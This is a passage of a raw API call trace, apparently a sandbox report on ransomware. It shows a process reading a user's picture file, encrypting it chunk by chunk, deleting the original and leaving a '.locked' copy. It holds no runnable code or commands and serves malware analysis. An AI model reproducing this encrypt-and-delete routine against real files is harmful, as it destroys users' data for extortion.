ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.050] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.050] ReadFile (in: hFile=0x764, lpBuffer=0x6ab9cec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ab9cec*, lpNumberOfBytesRead=0x99ae7a8*=0x14000, lpOverlapped=0x0) returned 1 [0137.050] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6acdcf8*, pdwDataLen=0x99ae79c*=0x14000, dwBufLen=0x14000 | out: pbData=0x6acdcf8*, pdwDataLen=0x99ae79c*=0x14000) returned 1 [0137.051] WriteFile (in: hFile=0x778, lpBuffer=0x6ab5594*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ab5594*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.051] WriteFile (in: hFile=0x778, lpBuffer=0x6acece4*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6acece4*, lpNumberOfBytesWritten=0x99ae780*=0x13014, lpOverlapped=0x0) returned 1 [0137.053] ReadFile (in: hFile=0x764, lpBuffer=0x6ab9cec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ab9cec*, lpNumberOfBytesRead=0x99ae7a8*=0x3947, lpOverlapped=0x0) returned 1 [0137.053] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ae1d1c*, pdwDataLen=0x99ae79c*=0x3940, dwBufLen=0x3940 | out: pbData=0x6ae1d1c*, pdwDataLen=0x99ae79c*=0x3940) returned 1 [0137.053] WriteFile (in: hFile=0x778, lpBuffer=0x6ae1d1c*, nNumberOfBytesToWrite=0x3940, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ae1d1c*, lpNumberOfBytesWritten=0x99ae780*=0x3940, lpOverlapped=0x0) returned 1 [0137.053] ReadFile (in: hFile=0x764, lpBuffer=0x6ab9cec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ab9cec*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.053] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ae5680*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6ae5680*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.053] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ae56b4*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6ae56b4*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.053] WriteFile (in: hFile=0x778, lpBuffer=0x6ab5594*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6ab5594*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.054] CloseHandle (hObject=0x778) returned 1 [0137.056] CloseHandle (hObject=0x764) returned 1 [0137.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.057] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.057] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.057] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 0x20 [0137.058] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.058] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.058] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.058] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.058] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.058] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.058] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.058] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.058] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.058] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.058] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.058] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.058] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.059] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.059] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.059] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 0x20 [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.059] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif\\", lpFilePart=0x0) returned 0x30 [0137.059] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.060] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.060] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.060] CoTaskMemFree (pv=0x8eb8d30) [0137.061] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 0x20 [0137.061] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.061] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif"), fInfoLevelId=0x0, lpFileInformation=0x6af766c | out: lpFileInformation=0x6af766c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3189b60, ftCreationTime.dwHighDateTime=0x1d4a445, ftLastAccessTime.dwLowDateTime=0x9ad0f930, ftLastAccessTime.dwHighDateTime=0x1d4a6f2, ftLastWriteTime.dwLowDateTime=0x9ad0f930, ftLastWriteTime.dwHighDateTime=0x1d4a6f2, nFileSizeHigh=0x0, nFileSizeLow=0x17947)) returned 1 [0137.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.061] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 1 [0137.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.066] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.066] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.066] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.066] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif.locked")) returned 0x20 [0137.066] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif.locked")) returned 0x20 [0137.067] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", lpFilePart=0x0) returned 0x36 [0137.067] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", lpFilePart=0x0) returned 0x36 [0137.067] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.067] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.067] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.067] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.067] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.067] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.068] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.068] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.068] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.068] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.069] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.069] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.069] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.069] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.069] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.069] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.070] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.070] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.070] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.070] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.070] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.070] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.070] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.074] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0137.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x6920dbc | out: lpFileInformation=0x6920dbc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e91c2a, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14e91c2a, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14eb7ec5, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x17964)) returned 1 [0137.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.075] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | 